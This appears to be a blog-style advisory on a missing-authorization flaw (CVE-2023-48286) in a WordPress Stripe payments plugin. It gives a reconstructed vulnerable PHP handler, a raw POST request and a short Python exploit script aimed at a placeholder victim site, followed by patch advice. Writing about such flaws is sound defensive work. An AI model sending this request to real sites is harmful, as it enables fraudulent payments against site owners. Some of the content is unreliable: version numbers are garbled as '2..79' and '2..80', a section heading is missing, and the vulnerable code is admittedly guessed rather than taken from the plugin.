CVE-2023-48286 is a critical security vulnerability found in the popular WordPress plugin Stripe Payments by Tips and Tricks HQ. Specifically, all versions up to and including 2..79 are affected. This long-read explains what the issue is, why it’s dangerous, how attackers can exploit it, and what you should do to stay safe.

1. What is CVE-2023-48286?

This vulnerability falls under the Missing Authorization category—meaning the plugin fails to properly check if users have permission to do certain things. An attacker can exploit this incorrect access control to perform unauthorized actions and potentially compromise the website or its transactions.

The vulnerability exists in the way the plugin implements access restrictions (or rather, doesn't implement them properly) on sensitive endpoints related to Stripe payment processing.

> Official plugin page:

https://wordpress.org/plugins/stripe-payments/

> Vulnerability database entry:

https://nvd.nist.gov/vuln/detail/CVE-2023-48286

2. Affected Versions

All versions of Stripe Payments from the earliest available release up to and including 2..79 are affected. The bug was patched in version 2..80. If you are running an older version, you are at risk.

3. Technical Details: Where’s the Flaw?

The plugin registers certain WordPress admin-ajax actions—which allow site visitors or other plugins to talk to the backend via HTTP requests. For several sensitive endpoints (e.g., payment handling, configuration changes), Stripe Payments does not properly check that the request comes from a logged-in, authorized admin.

Consider this simplified code snippet (based on what is known from vulnerability research)

add_action('wp_ajax_process_stripe_payment', 'process_stripe_payment_callback');
add_action('wp_ajax_nopriv_process_stripe_payment', 'process_stripe_payment_callback');

function process_stripe_payment_callback() {
    // Missing: check if user is an admin or has the right capability
    $amount = $_POST['amount'];
    $desc = $_POST['desc'];
    $result = process_payment_api($amount, $desc);
    echo $result;
    exit;
}

What’s wrong?

No capability checks (current_user_can(), etc.) are enforced.

- An attacker can craft a POST request to this endpoint and initiate privileged actions—for example, starting a new payment, refund, or other operations.

4. How Attackers Can Exploit CVE-2023-48286

Attackers can exploit this vulnerability by sending a direct POST (or GET, depending on implementation) request to the sensitive AJAX endpoint, such as:

POST /wp-admin/admin-ajax.php?action=process_stripe_payment
Content-Type: application/x-www-form-urlencoded

amount=100&desc=BadHackerTest

Example Exploit Script (Python)

import requests

url = 'https://victim-site.com/wp-admin/admin-ajax.php';
data = {
    'action': 'process_stripe_payment',
    'amount': '500',
    'desc': 'Exploit attempt'
}
r = requests.post(url, data=data)
print(r.text)

Depending on the site's configuration, this POST may trigger payment processing code as if it was performed by a trusted admin!

Financial Loss: Attackers can exploit payment logic to process fake or fraudulent payments.

- Configuration Tampering: Incorrect access controls may allow manipulation of plugin options, API keys, and payment settings.

6. How to Fix

Update Immediately!
The Stripe Payments plugin maintainers have patched this issue in version 2..80.

Update Stripe Payments to the latest version

If you cannot update:

Disable the Stripe Payments plugin until you can apply the patch.

- Use a web application firewall (like Wordfence) to block direct access to admin-ajax.php for unauthenticated users.

7. More on Preventing Authorization Bugs

This case is a classic lesson: always, always validate that a user is logged in *and* authorized before allowing them to perform sensitive actions.

Better (pseudo)code might look like

function process_stripe_payment_callback() {
    if (!current_user_can('manage_options')) {
        wp_die('You do not have permission to access this.');
    }
    // Safe to proceed...
}

8. References

- NVD Entry for CVE-2023-48286
- Official Stripe Payments plugin
- WPScan Vulnerability Database *(search for "CVE-2023-48286")*
- Tips and Tricks HQ Security Advisories

9. Summary

CVE-2023-48286 is a critical, missing-authorization bug affecting Tips and Tricks HQ’s Stripe Payments plugin. It lets attackers abuse payment endpoints and possibly compromise e-commerce transactions. Update your plugin immediately, follow best security practices, and audit sensitive plugins regularly to avoid similar risks.

Timeline

Published on: 12/09/2024 13:15:33 UTC